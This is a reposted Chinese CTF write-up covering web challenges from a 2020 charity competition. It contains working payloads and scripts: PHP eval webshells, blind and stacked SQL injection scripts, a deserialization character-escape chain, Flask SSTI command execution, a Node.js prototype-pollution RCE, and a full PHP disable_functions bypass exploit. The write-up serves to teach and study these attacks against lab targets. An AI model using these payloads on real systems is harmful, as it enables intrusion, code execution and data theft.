你好星球公司php,2020新春战疫公益CTF

转载

瞭望智库 于 2021-03-22 08:57:51 发布 154 收藏
文章标签： 你好星球公司php

这次公益赛算是经过一个寒假的修炼后头一次大比赛了。可以发现自己确实对某些题目逐渐有些感觉。第一天错失弱智题，但是节奏还在改进。第二天注入专场ak，还意外的收获了一血，挺开心的，而且把一些没有实际操作过的知识点在题目中用了出来，算是巩固知识了吧。第三天题目就比较难了，而且意外频出。居然遇到原型链污染题目被搅屎，出现直接进题拿flag的情况.....总而言之三天比赛挺精彩的，作为菜狗还是有不少收获。到时候再把没做出来的题目复现一下就圆满了hh

Day 1

简单的招聘系统

web狗之耻。题目明明很简单结果我居然陷入了其他错误思路。后来听说题目可以对注册登录框注入，也可以直接万能密码登进去。然而我重心放在最早登进去时测出来的xss了。以为要打admin的cookie.但是仔细想题目并没有bot存在的痕迹，所以这时就应该收手啊.....

做法貌似是万能密码登陆进去后，进行注入。简单的联合查询就可。

反思：虽然最后题目分值变成只有几十分无伤大雅，但是自己做题思路上有误区。首先xss漏洞时是确实存在的，但这时不应该陷入一道题只有一个洞的误区，而是应该找到可利用的洞进行操作，否则只能用反射型xss打本地的cookie。而且在登陆进去后应该能注意到，新下发的容器里我们注册登录进去的用户至少是第二名用户，说明一定存在管理员用户。这时应该联想到数据库，而不是专注于admin权限。

ezupload

任意文件上传getshell.....根目录执行/readflag即可。

我不知道这是不是预期解，因为太鸡肋了。可能出题人想照顾我们送的吧。

上传一句话php文件<?php eval($_POST['a']);?>,菜刀连接后进入shell。在根目录执行即可

盲注

此题看似困难其实并非一道难题。题目刚放出来时在想bypass技巧，等后来想清楚了很快就能做出来。源码忘了copy了，但是大致是

select * from fllllag where id=$id

过滤的有点多，select,union, =,,', like,between等等常见的都不行。但是sleep()可以，选择时间盲注。另一个重点是select被过滤，等号被过滤。

题目提示是flag在f14g。然而开始没想到f14g就是字段名.....后来反应过来就很简单了。直接时间盲注即可。同时FUZZ时选择regexp替代等号，因为可以直接使用

if(length(database()) regexp 4,sleep(3),1)

regexp并与数字进行FUZZ。我们就可以构造payload了。

exp:

```
import requests

flag=''

for i in range(1,50):

print(i)

a=0

for j in range(32, 128):

url = "http://4afbc1f7e5674f62bd666bd2ed3993fa9be57188250b4d33.changame.ichunqiu.com/?id=if(ascii(substr(fl4g,"+str(i)+",1)) regexp " + str(j) + ",sleep(3),1)"

res = requests.get(url)

try:

result = requests.get(url, timeout=3)

except requests.exceptions.ReadTimeout:

flag+=chr(j)

print(flag)

break
```

估计有的师傅走弯路就容易卡在绕过select上。我其实也找了下bypassselect的方法，但是除了堆叠注入还真没找到好的方法。此题又不适用堆叠注入，所以应该把重心放在把f14g当做字段来做。我估计这样思考就不会走弯路吧。

easyphp

```
error_reporting(0);

session_start();

function safe($parm){

$array= array('union','regexp','load','into','flag','file','insert',''',''','\\','*','alter');

return str_replace($array,'hacker',$parm);

}

class User

{

public $id;

public $age=null;

public $nickname=null;

public function login() {
```

```
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好！ ".$_SESSION['token'];
echo "";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
```

```
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
```

```
public $hostname="127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败，错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
```

```
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误！');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
```

update.php

```
require_once('lib.php');
echo '
update
这是一个未完成的页面，上线时建议删除本页面
';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢！";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
```

先大致提下我比赛时的察觉到的利用：

1.反序列化字符逃逸

2.反序列化达成注入

首先是safe()函数。从中发现，它将关键字全部替换为hacker。并且可以发现长度变长了。从之前安洵杯2019的easy-serialize(参考我复现的wphttps://www.jianshu.com/p/ee62bc5ffa2d

)就已经学过了。这一类自己造函数替换字符并经过反序列化肯定是有害的。此处只要我们通过这一函数，就可以达成对后面对象的任意注入。

之后就是pop链的事了。可惜自己比较菜，pop链没找对，所以最后没做出来。这里讲下思路。首先从反序列化点getNewinfo()方法出发。

public function getNewInfo(){

$age=$_POST['age'];

$nickname=$_POST['nickname'];

return safe(serialize(new Info($age,$nickname)));

}

数据可控，然后在User类的update方法里被调用了。这样就跟进到UpdateHelper类，其必然调用析构函数:

public function __destruct()

{

echo $this->sql;

}

由于有echo，会被视作字符串，那么原来User类的__toString魔术方法触发：

public function __toString()

{

$this->nickname->update($this->age);

return "0-0";

}

然后调用了update方法，这里nickname是Info类的话，并不存在update方法，从而触发__call()方法

public function __call($name,$argument){

echo $this->CtrlCase->login($argument[0]);

}

之后调用了dbCtrl类的login方法。可以执行sql语句

这样的话，我们的思路就是顺着这条链，进行字符逃逸，从而可以控制sql语句，进行查询。只要密码查出来登录可以拿flag。

先构造pop链：

class User

```
{
public $id;
public $age=null;
public $nickname=null;
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
}
class UpdateHelper
{
public $id;
public $newinfo;
public $sql;
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name='admin';
public $password;
public $mysqli;
public $token;
}
```

```php
$d = new dbCtrl();

$d->token='admin';

$b = new Info('','1');

$b->CtrlCase=$d;

$a = new user();

$a->nickname=$b;

$a->age="select password,id from user where username=?";

$c=new UpdateHelper();

$c->sql=$a;

echo serialize($c);
```

得到序列化数据

O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob

然后对我们构造逃逸的Info类进行payload修改:

O:4:"Info":3:{s:3:"age";s:7:"byc_404";s:8:"nickname";s:7:"byc_404";s:8:"CtrlCase";N;}

这里byc_404的位置就是我们可控的，只要字符逃逸到能把pop链的结果当做序列化类中CtrlCase的值即可注入。

由于safe函数确认一个单引号换成hacker逃逸了5个字符，那么

由于payload有463个字符，使用92个单引号加上三个union从而满足数量。

最后post传值

age=&nickname=''"unionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob

查出密码为yingyingying。登录得到flag.

Day 2

easysqli_copy

这题运气好，拿了CTF生涯中第一个一血hhh。

源码：

```php
function check($str)

{
```

```
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
{
print_r($matches);
return 0;
}
else
{
return 1;
}
}
try
{
$db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
}
catch(Exception $e)
{
echo $e->getMessage();
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
}
else
{
$test = $db->query("select balabala from table1");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala'];
}
if(check($id))
{
$query = "select balabala from table1 where 1=?";
```

$db->query("set names gbk");

$row = $db->prepare($query);

$row->bindParam(1,$id);

$row->execute();

}

审计源码发现是PDO场景下的注入，立刻联想到swpuCTF的web4。同时确认源码中没有new PDO($dsn, $user, $pass, array(PDO::MYSQL_ATTR_MULTI_STATEMENTS => false)),这样就不会限制多语句执行,可以堆叠。源码中留意到$db->query("set names gbk");，确认是宽字节溢出。之后用swpuctf老方法堆叠注入就好。具体参考我的复现，https://www.jianshu.com/p/dc9af4ca2d06主要是用16进制+预处理做的。可以有效bypass上面全面的过滤。

exp如下：

import requests

flag="

def str_to_hex(s):

return ''.join([hex(ord(c)).replace('0x','') for c in s])

for i in range(1,50):

print(i)

a=0

for j in range(32, 128):

sql = "select if((ascii(substr((select group_concat(fllllll4g) from table1),"+str(i)+",1))='"+str(j)+"'),sleep(3),2);" # balabala,eihe,fllllll4g

sql_hex = str_to_hex(sql)

url = "http://84ff67d4a9bf448386519ba152396ae346958322a3cd4b10.changame.ichunqiu.com/?id=1%df%27;SET @a=0x" + str(sql_hex) + ";PREPARE st FROM @a;EXECUTE st;"

try:

result = requests.get(url, timeout=3)

except requests.exceptions.ReadTimeout:

flag += chr(j)

print(flag)

a=1

break

if a==0:

break

blacklist

又是一道堆叠注入原题拿来做的.....然而我估计很大一部分部分师傅还只见过强网杯随便注，没见过这题真正的来源：FudanCTF 你再注试试，具体参考出题人sky师傅的题解https://skysec.top/2019/12/13/2019-FudanCTF-Writeup/#%E4%BD%A0%E5%86%8D%E6%B3%A8%E8%AF%95%E8%AF%95我因为经常逛大佬的博客，所以有次看了下做法，发现跟强网杯是不同思路，所以学了下怎么操作的。

先回到题目，本身跟强网杯随便注一样是堆叠注入。但是过滤更严格

preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

除了常规的过滤还加上了rename, alter, set,prepare等等关键字，这样的话网上能找到的强网杯paylaod就不能用了:一种思路是通过rename更改表，列名。还有一种思路就是上面那题用到的16进制加预处理。显然两种都不可行。这里介绍当时sky师傅的出题考点，使用mysql的handler进行处理。

假设有表flag。我们可以可以使用handler对表名进行操作

handler flag open as byc;

之后就可以读取表中数据

handler byc read first；

handler byc read next;

那此题也就变得十分简单了。首先通过1';show tables;#,得到flag表FlagHere，之后使用

1'; handler `FlagHere` open as `byc`;handler `byc` read next;#

得到flag

Ezsqli

来自Nu1L的今日防ak题。确实很长见识。得在网上查阅资料才能学会的新姿势。

开始确认是注入后进行FUZZ，结果大致如下：

union select(union all select)

join

information_schema

or

and

sleep

benchmark

if

.....

其中重点关注的就是union,select各自没被waf挡掉，但是连在一起被挡了。除此之外information_schema被挡掉说明这道题必然是无列名注入。但是重点在于如何在join与union select被挡的情况下进行无列名注入了。

具体参考我总结过的无列名注入两种方式：

swpuweb1里提到过的

https://www.jianshu.com/p/f2611257a292

使用join的来自hackthebox上的ezpz无列名注入题目：https://www.jianshu.com/p/fcbd17dac3fa

那么首先需要表名，这里使用布尔盲注,并用sys.x$schema_flattened_keys绕过information_schema：

```
import requests

flag=''

for i in range(1,50):

print(i)

a=0

for j in range(32, 128):

payload = "1 && ascii(substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),"+str(i)+",1))=" + str(j) + "#"

data = {

'id': payload

}

res = requests.post(url, data=data)

if 'Nu1L' in res.text:

flag+=chr(j)

print(flag)

a=1

break
```

得到表名f1ag_1s_h3r3_hhhhh,users23333

接下来需要构造无列名注入得到flag所在表的字段，怎么构造呢？这里用到从smi1e师傅博客里学到的一种方法：

https://www.smi1e.top/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0/#i-10

里面师傅提到，如果已知表名test，当里面字段是'cc'时，我们使用：

```
select (select * from test) =(select 1,'cc')
```

将返回真值1。也就是布尔值.进一步如果使用小于号，将可以达到逐字符比较的功效。

```
select (select * from test)

select (select * from test)

select (select * from test)
```

我们将可以使用这一payload进行布尔盲注。需要注意的是，字段数目必须一致。而本题字段可以group by 2得到为2个字段。那么显然可以构造得到表中字段的布尔盲注exp了：

```
import requests

url='http://815689cfbc404c39bb9f7bfd4e6209d5edf2f4bf3d974c40.changame.ichunqiu.com/'

flag=''

str1=''

for i in range(1,50):

print(i)

for j in range(32, 128):

payload = "(select ((select * from f1ag_1s_h3r3_hhhhh) < (select 1,'" +flag+chr(j) + "')))#"

data = {

'id': payload

}

res = requests.post(url, data=data)

if 'Nu1L' in res.text:

flag += chr(j-1)

print(flag)

break
```

flag

注出来的动态flag都是大写字母吓了我一跳，其实是因为MySQL中的字符串比较在默认情况下是不区分大小写的。好在提交时答案正确。

所以本题应该算作布尔盲注解法下的无列名注入。正是因为有了小于号替换等号，可以逐字符检索出数据。利用回显构造exp。

Day3

Flaskapp

题目太坑了。说到Flask一般都是ssti模板注入。我一开始思路也是打算按这样测的。结果因为hint页面源码里的一个PIN提示，让我以为是爆破PIN码直接进入shell.浪费了不少时间。

关于PIN码，是在Flask开启debug模式时存在的一个交互shell的key。只要输入PIN码就可以进入交互shell.实际上由于生成PIN码的机制，可以达到脚本爆破效果，只要已知username,machine-id的等等6个参数，就可以爆破PIN码。当然，这就必须要有一个文件读取点来作为跳板了。这些暂且不提。

回到本题，在decode界面实际上就可以触发SSTI了，提交payload的base64编码即可

加上测出题目用的是python3.7环境，可以在本地Fuzz下能用的类。我用的是wrap_close()，之后调用popen()即可

{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('ls').read()}}

得到目录

app bin boot dev etc home lib lib64 media mnt opt proc requirements.txt root run sbin srv sys this_is_the_flag.txt tmp usr var

flag被过滤使用fla\g绕过

{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('cat this_is_the_fla\g.txt').read()}}

ps:出题人居然真想考PIN.....无语，都能直接模板注入RCE了还要PIN干嘛。只能说waf实在写的太简单了。我觉得就应该给其加一个文件读取参数获取爆破PIN的相关信息，不要SSTI才有意义啊。

ezExpress

碰到集体上车拿了flag.惭愧惭愧。但毕竟是出题人没考虑到原型链污染是除非重启，否则整个污染原型都一直影响的对吧hhh。之前看p牛提到这点，没想到比赛中真实重现了。

来复现了。实在是惊了，我一模一样的payload在buuoj上能成，在原题那就不行。我估计是昨天题目被搅屎出一堆问题了。。。

关于原型链污染可以看我之前的总结https://www.jianshu.com/p/6e623e9debe3

首先题目需要源码从www.zip下载，审计源码，从index.ejs中可以看到flag在/flag中；而漏洞在index.js中。这里放一下主要的index.js

```
var express = require('express');

var router = express.Router();

const isObject = obj => obj && obj.constructor && obj.constructor === Object;

const merge = (a, b) => {

for (var attr in b) {

if (isObject(a[attr]) && isObject(b[attr])) {

merge(a[attr], b[attr]);

} else {

a[attr] = b[attr];

}

}

return a

}

const clone = (a) => {

return merge({}, a);

}
```

```
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});
router.get('/login', function (req, res) {
res.render('login');
});
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
```

```
req.session.user.isLogin=true;
}
else{
res.end("")
}
}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("")}
req.session.user.data = clone(req.body);
res.end("");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;
```

有非常清晰的merge函数的使用。之前我总结过原型链污染的题目目前必然是有merge(),clone()出现的。那么此处只要找到污染地方即可。

```
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("")}
req.session.user.data = clone(req.body);
res.end("");
});
```

从这里看到有clone()调用，但是我们需要先bypassADMIN才能执行。这里用到p牛曾经出在代码审计知识星球题目里的知识点：javascript的toUpperCase()漏洞

https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

昨天就是这里没绕过去。要是当初知识星球做了那道js的审计就不会忘了这个知识点了.....

```
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
```

}

可以看到登录的话会将用户名toUppperCase()后与ADMIN比较。而实际上ı这个字母在经过toUppperCase()后

会变成I，所以可以使用admın绕过注册时的检测。

function safeKeyword(keyword) {

if(keyword.match(/(admin)/is)) {

return keyword

}

之后登陆就可以看到源码中用于/action路由post数据的地方。这就是我们要进行原型链污染之处。下面找找污染属性。

在我们进入页面时，这样一个属性outputFunctionName是undefined的

router.get('/', function (req, res) {

if(!req.session.user){

res.redirect('/login');

}

res.outputFunctionName=undefined;

res.render('index',data={'user':req.session.user.user});

});

之后则在info路由调用这一功能

router.get('/info', function (req, res) {

res.render('index',data={'user':res.outputFunctionName});

})

如果我们能够污染基类加上outputFunctionName这一属性，在调用outputFunctionName时它在找不到值的情况下就会找到我们被污染的基类。从而执行。

但是这里我没看出来outputFunctionName后续有RCE的效果，所以弹shell应该是不行的。源码里根本看不出来。

这里我参考dalao的做法，把/flag的内容写到可见的位置public/byc

payload

payload={"__proto__":
{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"cat /flag > app/public/byc\"');//"}}

需要注意的是，outputFunctionName的值需要先给值闭合，否则会报错。语句结束后我们再加上注释符号//把后面注释掉。

exp：

```
import requests

import json

#admın绕过

#url='http://101.200.195.106:60073/action'

url='http://e9d3e636-a90f-4f95-b0b2-d1842d018d63.node3.buuoj.cn/action'

headers={

'Content-Type':'application/json'

}

cookies={

'session':'s%3A8rdS32R1OdSLRYfPRaXux7mDijaDoarH.elYOO%2FqUZu%2Bf32xRjXeKnokALv4nPlJG4tOnm

}

payload={"__proto__":
{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"cat /flag > app/public/byc\"');//"}}

res=requests.post(url,headers=headers,data=json.dumps(payload),cookies=cookies)

print(res.text)
```

访问byc路由即可下载下flag。

然而这个方法我在buuoj上随便打，但是ichunqiu上不行。之后按题目报错改了写入路径也还是没有反应，证明命令没有执行。这里等一手官方解法，看看到底什么原因。

flag

easy_thinking

thinkphp6.0反序列化构造。自己没经验就没做。插眼等复现。

补：难怪没做出来。原来不是反序列化。而且昨天看大家题目做出来的速度惊人的快，感觉是也有上车，没想到也是真的。又是因为没单独做成docker，导致/runtime/session/目录下有别人上传的payload直接就有flag。

现在来做下预期解法。大致漏洞跟以前的thinkphp固定缓存存储文件是差不多的。这里访问/runtime/session可以看到session缓存存储文件，而我们如果在登录时修改session为php后缀，就可以相当于上传了一个php文件。之后我们搜索的内容由于会被放进缓存文件，直接传一句话小马即可

PHPSESSID=9ce0436e21b0be0d93e161bycbyc.php

修改session后在搜索框传一句话木马，<?php eval($_GET['a']);?>即可getshell.

然而之后会发现很多函数执行不了，读phpinfo()会发现过滤了几乎所有命令函数。那么首先看看flag在哪

print_r(scandir(%27../../../../../%27));

scandir()

可以看到根目录有readflag与flag。也就是说我们还不能直接文件读取，必须bypass系统函数限制进行系统函数执行readflag。

bypass方法貌似是只能借用某脚本

```
pwn("/readflag"); //这里是想要执行的系统命令

function pwn($cmd) {

global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {

$address = 0;

for($j = $s-1; $j >= 0; $j--) {

$address <<= 8;

$address |= ord($str[$p+$j]);

}

return $address;

}

function ptr2str($ptr, $m = 8) {

$out = "";

for ($i=0; $i < $m; $i++) {

$out .= chr($ptr & 0xff);

$ptr >>= 8;

}

return $out;

}

function write(&$str, $p, $v, $n = 8) {

$i = 0;

for($i = 0; $i < $n; $i++) {

$str[$p + $i] = chr($v & 0xff);

$v >>= 8;

}

}

function leak($addr, $p = 0, $s = 8) {
```

```
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
```

```
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
```

```
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
```

```
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
```

```
if(!($zif_system = get_system($basic_funcs))) {

die("Couldn't get zif_system address");

}

# fake closure object

$fake_obj_offset = 0xd0;

for($i = 0; $i < 0x110; $i += 8) {

write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));

}

# pwn

write($abc, 0x20, $abc_addr + $fake_obj_offset);

write($abc, 0xd0 + 0x38, 1, 4); # internal func type

write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();

}
```

然后我们当然无法上传这么大的脚本。考虑使用上传脚本来执行。当然也可以用copy函数。参考Y1ng师傅的payloadhttps://www.gem-love.com/ctf/1669.html#easy_thinking

我们重新上传小马：

```
<?php if(@$_GET["act"]=="save"){if(isset($_POST["content"])&&isset($_POST["name"]))
{if($_POST["content"]!=""&&$_POST["name"]!="")
{if(fwrite(fopen(stripslashes($_POST["name"]),"w"),stripslashes($_POST["content"]))){echo "OK!
".stripslashes($_POST["name"])."";};}}}else{if(@$_GET["act"]=="godsdoor"){echo '

content:
filenane:';}}
```

将构造一个上传表单。这样直接在表单中上传脚本，就可以保存在同级目录。访问即可执行命令。

flag

NodeGame